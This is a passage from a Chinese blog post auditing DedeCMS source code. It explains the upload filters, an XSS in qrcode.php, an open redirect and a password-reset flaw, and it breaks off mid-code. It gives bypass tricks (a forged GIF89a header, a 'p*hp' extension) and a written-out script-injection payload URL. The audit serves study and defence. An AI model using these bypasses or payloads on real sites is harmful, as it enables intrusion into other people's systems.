class="hljs-variable">$imtypes</span>))<br> {<br> <span class="hljs-variable">$image_dd</span> = @getimagesize(<span class="hljs-variable">$$_key</span>);<br> <span class="hljs-keyword">if</span> (!is_array(<span class="hljs-variable">$image_dd</span>))<br> {<br> <span class="hljs-keyword">exit</span>(<span class="hljs-string">'Upload filetype not allow !'</span>);<br> }<br> }<br>}<br></code></pre></td></tr></table></figure><p>这里结合实际例子来分析上诉代码,上传一个名为2.jpg的正常文件,<code>$_FILES</code>数组如下图</p><img src="img/dedecms/image-20210716163532045.png" alt="image-20210716163532045" style="zoom:50%;" /><p><code>uploadsafe.inc.php</code>会注册<code>$_FILES</code>中数据到全局变量,在实例中便会注册以下变量</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$litpic</span> = <span class="hljs-string">"/Applications/MAMP/tmp/php/php8bhoXG"</span><br><span class="hljs-variable">$litpic_name</span> = <span class="hljs-string">"2.jpg"</span><br><span class="hljs-variable">$litpic_type</span> = <span class="hljs-string">"image/jepg"</span><br><span class="hljs-variable">$litpic_stze</span> = <span class="hljs-string">"4"</span><br></code></pre></td></tr></table></figure><p>然后先看第一个文件上传的限制:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">if</span>(<br> !<span class="hljs-keyword">empty</span>(${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_name'</span>}) && <br> (preg_match(<span class="hljs-string">"#\.("</span>.<span class="hljs-variable">$cfg_not_allowall</span>.<span class="hljs-string">")$#i"</span>,${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_name'</span>}) || !preg_match(<span class="hljs-string">"#\.#"</span>, ${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_name'</span>})) <br>){<br> <span class="hljs-keyword">if</span>(!defined(<span class="hljs-string">'DEDEADMIN'</span>)){<br> <span class="hljs-keyword">exit</span>(<span class="hljs-string">'Not Admin Upload filetype not allow !'</span>);<br> }<br>}<br></code></pre></td></tr></table></figure><p>第一个if语句块:</p><ul><li><p>条件1:<code>$_FILES[$_key]['name']</code>即2.jpg,若上传的文件名不为空,该条件为真</p></li><li><p>条件2是个或条件,满足其一即可</p><ul><li>条件2.1:<code>$_FILES[$_key]['name']</code>即2.jpg,若后缀名在黑名单中该条件为真</li><li>条件2.2:<code>$_FILES[$_key]['name']</code>即2.jpg,若没有符号<code>.</code>,即无后缀文件,该条件为真</li></ul></li></ul><p>通过第一个if判断会进入第二个if判断,<code>DEDEADMIN</code>常量未定义会直接退出程序。全局搜索了<code>DEDEADMIN</code>常量,如果是在后台模块,该常量会在<code>dede/config.php</code>就已经定义了。如果在前台首页或者更用户中心页面,该变量没有定义</p><p>所以第一个文件上传限制的是:如果用户上传的功能点不在后台,上传的文件将会受到黑名单限制</p><hr><p>再来看看第二个文件上传的限制:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$imtypes</span> = <span class="hljs-keyword">array</span><br> (<br> <span class="hljs-string">"image/pjpeg"</span>, <span class="hljs-string">"image/jpeg"</span>, <span class="hljs-string">"image/gif"</span>, <span class="hljs-string">"image/png"</span>, <br> <span class="hljs-string">"image/xpng"</span>, <span class="hljs-string">"image/wbmp"</span>, <span class="hljs-string">"image/bmp"</span><br> );<br> <span class="hljs-keyword">if</span>(in_array(strtolower(trim(${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_type'</span>})), <span class="hljs-variable">$imtypes</span>))<br> {<br> <span class="hljs-variable">$image_dd</span> = @getimagesize(<span class="hljs-variable">$$_key</span>);<br> <span class="hljs-keyword">if</span> (!is_array(<span class="hljs-variable">$image_dd</span>))<br> {<br> <span class="hljs-keyword">exit</span>(<span class="hljs-string">'Upload filetype not allow !'</span>);<br> }<br> }<br></code></pre></td></tr></table></figure><p>若 <code>$_FILES[$_key]['type']</code> 即image/jpeg,在<code>$imtypes</code>中,则进入下一层判断。</p><p><code>$$_key</code>此时为上传的临时文件,来自<code>$_FILES[$_key]['tmp_name']</code>,临时文件将通过<code>getimagesize()</code>来获取图像信息,作为安全人员,应该要对这个函数敏感一点了,<code>getimagesize()</code>识别到图像时,会返回一个包含图片信息的数组,当传入的文件不为图像时,会返回false,但是该函数可以通过伪造文件头绕过</p><p>所以第二个文件上传的限制意图为,当上传的文件MIME类型为图片时,将会通过<code>getimagesize()</code>二次验证传入的是否为图片</p><p>综上,可以看出这个底层的文件上传安全函数并没有限制的很死,大概的限制意思为:如果用户上传的功能点不在后台,上传的文件将会受到黑名单限制。如果当前文件为图片类型,则会通过<code>getimagesize()</code>再次判断文件是否为图片类型。若上传的文件在后台,MIME类型不为图片则没有限制</p><h3 id="加载视图类文件"><a href="#加载视图类文件" class="headerlink" title="加载视图类文件"></a>加载视图类文件</h3><p>dedecms还会加载一个视图类文件include/arc.partview.class.php,里面定义了一个视图类<code>class PartView</code></p><p>然后就会实例化一个视图加载类<code>$pv = new PartView();</code>,然后利用<code>$pv</code>去加载html这种静态模板,呈现到网页中。这里算是把<strong>视图</strong>和程序分开了</p><p>至于具体怎么实现的,因为和代码审计相关不大,而且我也没有看懂,这里就不讲究它的逻辑了</p><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>整个流程下来感觉dedecms符合那个时代的cms特点,而且也是全局注册了外部变量。dedecms有特点之处在于使用视图类把html和php文件划分。但index.php文件明显只是一个静态文件,没有较多功能的实现,也没有像phpcms那样index.php作为入口文件负责接收请求转发到其他功能代码中</p><p>那程序中的功能到底是怎么实现的呢?</p><p>最后黑盒测试一下前台的功能点,功能点不多,也明显看处前台是一个多入口处理,每个功能是分开的</p><img src="img/dedecms/image-20210716112934422.png" alt="image-20210716112934422" style="zoom: 33%;" /><h2 id="跟踪后台流程"><a href="#跟踪后台流程" class="headerlink" title="跟踪后台流程"></a>跟踪后台流程</h2><p>dedecms的后台入口位于<code>dede/index.php</code>,默认后台目录为<code>dede</code>,官方建议修改后台目录,在寻找dedecms的后台目录时可以在字典加上dede爆破一下</p><blockquote><p>dede/index.php</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span>(dirname(<span class="hljs-keyword">__FILE__</span>).<span class="hljs-string">"/config.php"</span>);<br><span class="hljs-comment">//加inc_menu_map.php和载静态模板</span><br><span class="hljs-keyword">require</span>(DEDEADMIN.<span class="hljs-string">'/inc/inc_menu_map.php'</span>);<br><span class="hljs-keyword">include</span>(DEDEADMIN.<span class="hljs-string">'/templets/index2.htm'</span>);<br></code></pre></td></tr></table></figure><p>后台入口文件的初始化主要加载<code>dede/config.php</code>,这里重点关注下这个文件</p><h3 id="dede-config-php"><a href="#dede-config-php" class="headerlink" title="dede/config.php"></a>dede/config.php</h3><blockquote><p>dede/config.php</p></blockquote><p>可以看到<code>config.php</code>也会加载<code>common.inc.php</code>文件,从而处理了外部数据</p><p>同时需要关注的是 <code>config.php</code> 会验证用户的登陆情况,所以后台文件基本都会包含这个config.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//加载common.inc.php</span><br><span class="hljs-keyword">require_once</span>(DEDEADMIN.<span class="hljs-string">'/../include/common.inc.php'</span>);<br><span class="hljs-comment">//加载管理员登陆类,里面定义了userLogin类和很多验证用户权限的函数</span><br><span class="hljs-keyword">require_once</span>(DEDEINC.<span class="hljs-string">'/userlogin.class.php'</span>);<br><span class="hljs-comment">//实例化userLogin对象</span><br><span class="hljs-variable">$cuserLogin</span> = <span class="hljs-keyword">new</span> userLogin();<br><span class="hljs-comment">//验证登陆情况,未登陆跳转到登陆页面</span><br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$cuserLogin</span> --- xxx)<br> header(<span class="hljs-string">"location:login.php?gotopage="</span>.urlencode(<span class="hljs-variable">$dedeNowurl</span>));<br><span class="hljs-comment">//下面则为登陆后的程序处理</span><br><span class="hljs-comment">//定义csrf和xss防御函数</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">csrf_check</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"><span class="hljs-title">function</span> <span class="hljs-title">XSSClean</span>(<span class="hljs-params"><span class="hljs-variable">$val</span></span>)</span><br></code></pre></td></tr></table></figure><h3 id="通过iframe构造完整后台页面"><a href="#通过iframe构造完整后台页面" class="headerlink" title="通过iframe构造完整后台页面"></a>通过iframe构造完整后台页面</h3><p>不过从上面来看后台入口文件还是很单薄,没有实现什么具体功能,也没有转发请求的功能。然后我就使用谷歌调试工具看了下dedecms后台到底加载了哪些文件,原来才发现这个时期的cms还在使用iframe框架,dedecms后台入口文件通过使用iframe框架加载了<strong>菜单地图文件</strong>和<strong>管理后台主体文件</strong>,分别为 <code>dede/index_menu.php</code> 和 <code>dede/index_body.php</code></p><img src="img/dedecms/image-20210716121237443.png" alt="image-20210716121237443" style="zoom:50%;" /><p>上图的代码来自<code>index.php</code>加载的<code>templets/index2.htm</code>文件</p><p> <code>dede/index_menu.php</code> 和 <code>dede/index_body.php</code> 通过iframe被嵌入在<code>index.php</code>页面中,可以看到的是dedecms在后台基本还是使用的多入口文件去处理每个功能,只是使用iframe框架让所有功能在<code>index.php</code>页面下显示了而已</p><h3 id="小结-1"><a href="#小结-1" class="headerlink" title="小结"></a>小结</h3><p>通过全局分析,感觉dedecms这个系统还是比较”老气“的,和phpcms的处理方式还是有很大不同的,感觉上phpcms的处理更加接近mvc的思想,虽然看到dedecms也声称做了mvc的架构,菜鸡的我是否还看不到那一层</p><h1 id="0x02-漏洞审计"><a href="#0x02-漏洞审计" class="headerlink" title="0x02 漏洞审计"></a>0x02 漏洞审计</h1><p>本次将采用结合功能点进行代码审计的思路,试一试这种思路的特点</p><h2 id="任意文件上传"><a href="#任意文件上传" class="headerlink" title="任意文件上传"></a>任意文件上传</h2><h3 id="普普通通的绕过"><a href="#普普通通的绕过" class="headerlink" title="普普通通的绕过"></a>普普通通的绕过</h3><p>后台:【核心】-【常用操作】-【所有档案列表】-【添加文档】,该功能可以发布文章,而且具有文件上传的功能</p><img src="img/dedecms/image-20210716160757480.png" alt="image-20210716160757480" style="zoom: 33%;" /><p>该处首先具有前端限制,上传 .jpg 后缀文件,结合brup抓包,发现处理上传功能的文件为<code>dede/archives_do.php</code></p><p>然后结合调试,来看看具体代码</p><blockquote><p>dede/archives_do.php</p></blockquote><p>入口文件通过 config.php 会实现权限认证和一些外部参数过滤注册</p><p>我们这里上传文件会带有 <code>$_FILES</code> 参数,上面通过全局分析得知会触发<code>uploadsafe.inc.php</code>的过滤</p><p>过滤后,通过<code>AdminUpload()</code>实现最终文件上传</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span>(dirname(<span class="hljs-keyword">__FILE__</span>).<span class="hljs-string">'/config.php'</span>);<br><span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$dopost</span>==<span class="hljs-string">"uploadLitpic"</span>)<br>{<br> <span class="hljs-variable">$upfile</span> = AdminUpload(<span class="hljs-string">'litpic'</span>, <span class="hljs-string">'imagelit'</span>, <span class="hljs-number">0</span>, <span class="hljs-literal">false</span> );<br></code></pre></td></tr></table></figure><blockquote><p>include/helpers/upload.helper.php</p></blockquote><p>最终实现文件上传的<code>AdminUpload()</code>来自<code>upload.helper.php</code></p><p>传入<code>AdminUpload()</code>的<code>$ftype</code>固定为<code>imagelit</code>,则一定会进入对应的检测判断</p><p>在检测判断代码中,<code>$sparr</code>定义了一个MIME Type白名单,若上传文件的MIME Type不在白名单中直接退出,MIME Type我们可控,所以这里一定要设置MIME Type为图片类型</p><p>但这里要注意的一点是,当MIME Type为图片类型时,在安全过滤文件<code>uploadsafe.inc.php</code>检测中,还会通过<code>getimagesize()</code>再次判断文件是否为图片类型,不够这里我们也可以绕过</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">AdminUpload</span>(<span class="hljs-params"><span class="hljs-variable">$uploadname</span>, <span class="hljs-variable">$ftype</span>=<span class="hljs-string">'image'</span>, <span class="hljs-variable">$rnddd</span>=<span class="hljs-number">0</span>, <span class="hljs-variable">$watermark</span>=<span class="hljs-literal">TRUE</span>, <span class="hljs-variable">$filetype</span>=<span class="hljs-string">''</span> </span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$ftype</span>==<span class="hljs-string">'image'</span> || <span class="hljs-variable">$ftype</span>==<span class="hljs-string">'imagelit'</span>)<br> {<br> <span class="hljs-variable">$sparr</span> = <span class="hljs-keyword">Array</span>(<span class="hljs-string">'image/pjpeg'</span>, <span class="hljs-string">'image/jpeg'</span>, <span class="hljs-string">'image/gif'</span>, <span class="hljs-string">'image/png'</span>, <span class="hljs-string">'image/xpng'</span>, <span class="hljs-string">'image/wbmp'</span>);<br> <span class="hljs-keyword">if</span>(!in_array(<span class="hljs-variable">$file_type</span>, <span class="hljs-variable">$sparr</span>)) <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br> }<br><span class="hljs-variable">$fileurl</span> = <span class="hljs-variable">$filedir</span>.<span class="hljs-string">'/'</span>.<span class="hljs-variable">$filename</span>.<span class="hljs-string">'.'</span>.<span class="hljs-variable">$file_sname</span>;<br><span class="hljs-variable">$rs</span> = move_uploaded_file(<span class="hljs-variable">$file_tmp</span>, <span class="hljs-variable">$cfg_basedir</span>.<span class="hljs-variable">$fileurl</span>);<br></code></pre></td></tr></table></figure><p>最后梳理一下,该功能点,系统只做了两个限制,MIMI Type为图片类型,可控。但MIME Type为图片类型时会通过<code>getimagesize()</code>检测,这里也可绕过。下面将来复现一下,看是否可以利用</p><h4 id="漏洞验证"><a href="#漏洞验证" class="headerlink" title="漏洞验证"></a>漏洞验证</h4><p>保证Content-Type为图片类型,构造图片的文件头,绕过文件上传的限制,并且会返回上传文件名和路径</p><img src="img/dedecms/image-20210716175555544.png" alt="image-20210716175555544" style="zoom:50%;" /><p>访问这个文件,完美</p><img src="img/dedecms/image-20210716175751931.png" alt="image-20210716175751931" style="zoom:50%;" /><p>小结一下:分析这一大堆,似乎还没有黑盒测来的快。。。一般黑盒直接来个GIF89a可能就中奖了</p><h3 id="尴尬的文件上传"><a href="#尴尬的文件上传" class="headerlink" title="尴尬的文件上传"></a>尴尬的文件上传</h3><p>接着看看后台有什么功能点,然后又发现一个文件上传的位置:【核心】-【常用操作】-【附件管理】- 【文件式管理器】</p><p>突然发现这里竟然可以直接上传任意文件。。。。这个系统这么刚的吗?</p><p>看了半天代码很尴尬,然后我就不太想看后台的文件上传了。。。。</p><img src="img/dedecms/image-20210716182546966.png" alt="image-20210716182546966" style="zoom:50%;" /><h3 id="有趣的文件上传"><a href="#有趣的文件上传" class="headerlink" title="有趣的文件上传"></a>有趣的文件上传</h3><p>后面翻阅dedecms历史漏洞,发现<strong>会员中心</strong>处存在一个文件上传漏洞。后面仔细研究了一下,其实也只有管理员权限才能上传,实际利用鸡肋,有管理员权限了不如直接进入后台任意文件上传,不过这个漏洞产生的原因可以学学</p><p>漏洞位于会员中心处,需要在dedecms打开会员功能,另外需要使用管理员账号打卡会员中心的页面</p><p>进入member/article_add.php发布文章,选择下面的富文本编辑器插入图片</p><img src="img/dedecms/image-20210719155504974.png" alt="image-20210719155504974" style="zoom: 33%;" /><p>选择好文件并上传抓包</p><img src="img/dedecms/image-20210719155700250.png" alt="image-20210719155700250" style="zoom:50%;" /><p>处理该文件上传的文件为<code>select_images_post.php</code>,下面具体看看代码</p><blockquote><p>include/dialog/select_images_post.php</p></blockquote><p>看代码大致知道系统只允许上传图片格式的文件,然后具体有3个限制条件:</p><ul><li>加载<code>include/dialog/config.php</code>,该文件会验证管理员身份,同时<code>config.php</code>会加载<code>common.inc.php</code>做基础的文件上传过滤。由全局分析知道,我们此时没有位于管理员目录,上传文件后缀名有黑名单限制,不能为php,目前知道服务器只解析php后缀文件</li></ul><p>但在下面第二行代码,会去除一些特殊符号,那我们可以上传<code>p*hp</code>这样的后缀,可以绕过上面的判断,然后再这一步正好又变成了能解析的后缀,漏洞关键点就在这里</p><ul><li><p><code>$cfg_imgtype</code>为<code> jpg|gif|png</code>,但这里匹配十分轻松,只要存在<code>.jpg</code>这样的字样就能绕过,并没有限制是后缀名</p></li><li><p>最后对mime type类型做了检测,最终上传文件</p></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span>(dirname(<span class="hljs-keyword">__FILE__</span>).<span class="hljs-string">"/config.php"</span>);<br><span class="hljs-variable">$imgfile_name</span> = trim(preg_replace(<span class="hljs-string">"#[ \r\n\t\*\%\\\/\?><\|\":]{1,}#"</span>, <span class="hljs-string">''</span>, <span class="hljs-variable">$imgfile_name</span>));<br><span class="hljs-keyword">if</span>(!preg_match(<span class="hljs-string">"#\.("</span>.<span class="hljs-variable">$cfg_imgtype</span>.<span class="hljs-string">")#i"</span>, <span class="hljs-variable">$imgfile_name</span>))<br>{<br> ShowMsg(<span class="hljs-string">"你所上传的图片类型不在许可列表,请更改系统对扩展名限定的配置!"</span>, <span class="hljs-string">"-1"</span>);<br> <span class="hljs-keyword">exit</span>();<br>}<br><span class="hljs-variable">$sparr</span> = <span class="hljs-keyword">Array</span>(<span class="hljs-string">"image/pjpeg"</span>, <span class="hljs-string">"image/jpeg"</span>, <span class="hljs-string">"image/gif"</span>, <span class="hljs-string">"image/png"</span>, <span class="hljs-string">"image/xpng"</span>, <span class="hljs-string">"image/wbmp"</span>);<br><span class="hljs-variable">$imgfile_type</span> = strtolower(trim(<span class="hljs-variable">$imgfile_type</span>));<br><span class="hljs-keyword">if</span>(!in_array(<span class="hljs-variable">$imgfile_type</span>, <span class="hljs-variable">$sparr</span>))<br>{<br> ShowMsg(<span class="hljs-string">"上传的图片格式错误,请使用JPEG、GIF、PNG、WBMP格式的其中一种!"</span>,<span class="hljs-string">"-1"</span>);<br> <span class="hljs-keyword">exit</span>();<br>}<br>move_uploaded_file(<span class="hljs-variable">$imgfile</span>, <span class="hljs-variable">$fullfilename</span>) <span class="hljs-keyword">or</span> <span class="hljs-keyword">die</span>(<span class="hljs-string">"上传文件到 <span class="hljs-subst">$fullfilename</span> 失败!"</span>);<br></code></pre></td></tr></table></figure><h2 id="xss"><a href="#xss" class="headerlink" title="xss"></a>xss</h2><p>测试发现还是黑盒好测一点,在dedecms后台还是存在很多xss的,本次是在黑盒测试后,在回头审计代码的问题,其实这样白盒审计意义不大,主要记录下思路</p><p>因为dedecms是多入口文件,每个入口文件都需要包含具有全局过滤函数的文件来判断外部数据的安全,如果发现有的文件没有包含这样这种文件,那么这个入口文件可能就存在相关漏洞</p><p>在全局分析中发现并没有对外部数据做xss全局过滤,另外注意到dedecms具有视图类负责显示输出,封装了很多输出的功能,在平时白盒审计xss漏洞需要注意echo,innerHTML这类输出到前端的关键词,但在dedecms中还需要注意视图类封装的输出函数</p><blockquote><p>qrcode.php</p></blockquote><p>qrcode.php及加载的文件都没有做xss过滤,通过common.inc.php会注册全局变量</p><p><code>$id</code>只能为整数类型,<code>$type</code>类型可控</p><p>加载模板<code>qrcode.htm</code>,利用视图类格式化输出<code>$id</code>, <code>$type</code>的值,<code>$type</code>可控,这里就存在xss漏洞</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span>(dirname(<span class="hljs-keyword">__FILE__</span>).<span class="hljs-string">'/../include/common.inc.php'</span>);<br><span class="hljs-keyword">require_once</span>(DEDEINC.<span class="hljs-string">'/qrcode.class.php'</span>);<br><span class="hljs-variable">$type</span> = <span class="hljs-keyword">isset</span>(<span class="hljs-variable">$type</span>)? <span class="hljs-variable">$type</span> : <span class="hljs-string">''</span>;<br><span class="hljs-variable">$id</span> = (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$id</span>) && is_numeric(<span class="hljs-variable">$id</span>)) ? <span class="hljs-variable">$id</span> : <span class="hljs-number">0</span>;<br><span class="hljs-variable">$dtp</span> = <span class="hljs-keyword">new</span> DedeTemplate();<br><span class="hljs-variable">$tplfile</span> = DEDETEMPLATE.<span class="hljs-string">'/plus/qrcode.htm'</span>;<br><span class="hljs-variable">$dtp</span>->LoadTemplate(<span class="hljs-variable">$tplfile</span>);<br><span class="hljs-variable">$dtp</span>->SetVar(<span class="hljs-string">'id'</span>,<span class="hljs-variable">$id</span>);<br><span class="hljs-variable">$dtp</span>->SetVar(<span class="hljs-string">'type'</span>,<span class="hljs-variable">$type</span>);<br><span class="hljs-variable">$dtp</span>->Display();<br></code></pre></td></tr></table></figure><p>可以看到这里的触发点<code>$dtp->SetVar('type',$type);</code>,然而在seay这种代码扫描工具中是不会在意这些点的,同样有些框架对sql操作也做了很好的封装,如果只是依靠seay的结果来做代码审计,可能会忽略掉很多关键点</p><p>最后有图有真相</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">http</span>://dede.test:<span class="hljs-number">8888</span>/plus/qrcode.php?id=<span class="hljs-number">1</span>&type=%<span class="hljs-number">22</span>%<span class="hljs-number">3</span>E%<span class="hljs-number">3</span>CScRiPt%<span class="hljs-number">3</span>Ealert(<span class="hljs-number">1</span>)%<span class="hljs-number">3</span>C/ScRiPt%<span class="hljs-number">3</span>E<br></code></pre></td></tr></table></figure><img src="img/dedecms/image-20210719110105023.png" alt="image-20210719110105023" style="zoom:50%;" /><h2 id="url-重定向漏洞"><a href="#url-重定向漏洞" class="headerlink" title="url 重定向漏洞"></a>url 重定向漏洞</h2><p>seay似乎没有 url 重定向漏洞的扫描,不过该漏洞审计也比较简单,主要关注能重定向的一些关键词,再看重定向地址是否可控</p><p>这里看一个dedecms出名的url重定向漏洞,网上有很多讲解,xray都有poc</p><blockquote><p>plus/download.php</p></blockquote><p>对<code>$link</code>做了base64解码</p><p>程序中有一个很奇怪的限制,<code>in_array($linkinfo['host'], $allowed)</code>,然而<code>download.php</code>中却没有<code>$linkinfo</code>这个参数</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$open</span>==<span class="hljs-number">1</span>)<br>{<br> <span class="hljs-variable">$id</span> = <span class="hljs-keyword">isset</span>(<span class="hljs-variable">$id</span>) && is_numeric(<span class="hljs-variable">$id</span>) ? <span class="hljs-variable">$id</span> : <span class="hljs-number">0</span>;<br> <span class="hljs-variable">$link</span> = base64_decode(urldecode(<span class="hljs-variable">$link</span>));<br> <span class="hljs-keyword">if</span> ( !in_array(<span class="hljs-variable">$linkinfo</span>[<span class="hljs-string">'host'</span>], <span class="hljs-variable">$allowed</span>) )<br> {<br> ShowMsg(<span class="hljs-string">'非下载地址,禁止访问'</span>,<span class="hljs-string">'javascript:;'</span>);<br> <span class="hljs-keyword">exit</span>;<br> }<br>header(<span class="hljs-string">"location:<span class="hljs-subst">$link</span>"</span>);<br></code></pre></td></tr></table></figure><p>dedecms后台也有一些url重定向漏洞,这里就不多关注这个洞了</p><h2 id="会员中心任意用户密码修改"><a href="#会员中心任意用户密码修改" class="headerlink" title="会员中心任意用户密码修改"></a>会员中心任意用户密码修改</h2><p>这也是dedecms比较出名的一个漏洞,如果通过黑盒测试,可能并测不出这个漏洞,此处漏洞最好的方式就是通过灰盒的方式测试</p><p>功能点位于<strong>会员中心</strong>找回密码处,dedecms默认是关闭会员中心的,需要在后台开启会员中心,为了方便测试,开放了用户注册</p><img src="img/dedecms/image-20210719171019346.png" alt="image-20210719171019346" style="zoom: 33%;" /><p>来看下关键代码:</p><blockquote><p>member/resetpassword.php</p></blockquote><p>1、加载 <code>member/config.php</code>,注意这个 config 文件位于 member 目录,不同于全局分析的 config 文件,这个文件会检测用户在<strong>用户中心模块</strong>的登陆情况,查询的数据表为 <code>dede_member</code>,而<strong>后台模块</strong>查询的数据表是 <code>dede_admin</code>,要注意区分开dede的各个模块查询的数据表和包含的文件</p><p>可以看到 <code>resetpassword.php</code> 主要有4个处理逻辑,由 <code>$dopost</code> 控制,<code>$dopost</code>可控</p><p>1)<code>$dopost</code>默认为空,进入第一个if语句,会加载<code>resetpassword.htm</code>,用于显示找回密码的页面</p><p>2)<code>$dopost == "getpwd"</code>,进入第二个处理逻辑,这是<strong>找回密码第一步</strong>默认处理逻辑,</p><p>3)<code>$dopost == "safequestion"</code>,进入第三个处理逻辑</p><p>4)<code>$dopost == "getpasswd"</code>,将会进入找回密码第二步</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//member/resetpassword.php</span><br><span class="hljs-keyword">require_once</span>(dirname(<span class="hljs-keyword">__FILE__</span>).<span class="hljs-string">"/config.php"</span>);<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$dopost</span> == <span class="hljs-string">""</span>)<br>{<br> <span class="hljs-keyword">include</span>(dirname(<span class="hljs-keyword">__FILE__</span>).<span class="hljs-string">"/templets/resetpassword.htm"</span>);<br>}<br><span class="hljs-keyword">elseif</span>(<span class="hljs-variable">$dopost</span> == <span class="hljs-string">"getpwd"</span>)<br>{<br> <span class="hljs-comment">// 找回密码第一步</span><br>}<br><span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$dopost</span> == <span class="hljs-string">"safequestion"</span>)<br>{<br> <span class="hljs-comment">// 密码问题判断</span><br>}<br><span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$dopost</span> == <span class="hljs-string">"getpasswd"</span>)<br>{<br> <span class="hljs-comment">// 找回密码第二步</span><br>}<br></code></pre></td></tr></table></figure><p>2、抓取<strong>找回密码第一步</strong>的请求包,默认<code>dopost</code>为<strong>getpwd</strong></p><img src="img/dedecms/image-20210719172151073.png" alt="image-20210719172151073" style="zoom:50%;" /><p>进入 <strong>getpwd</strong> 的if语句块,如果设置了密码会加载 <code>resetpassword3.htm</code> 页面,这是输入安全问题的表单,会提交<code>$dopost == "safequestion"</code>,则进入第3个处理逻辑</p><p>没有设置安全密码会退出程序,<code>$dopost=="getpwd"</code> 似乎走不通,但参数都可以控,可以考虑直接进入<code>$dopost == "safequestion"</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//member/resetpassword.php</span><br><span class="hljs-keyword">elseif</span>(<span class="hljs-variable">$dopost</span> == <span class="hljs-string">"getpwd"</span>)<br>{<br> <span class="hljs-comment">//以邮件方式取回密码;</span><br> <span 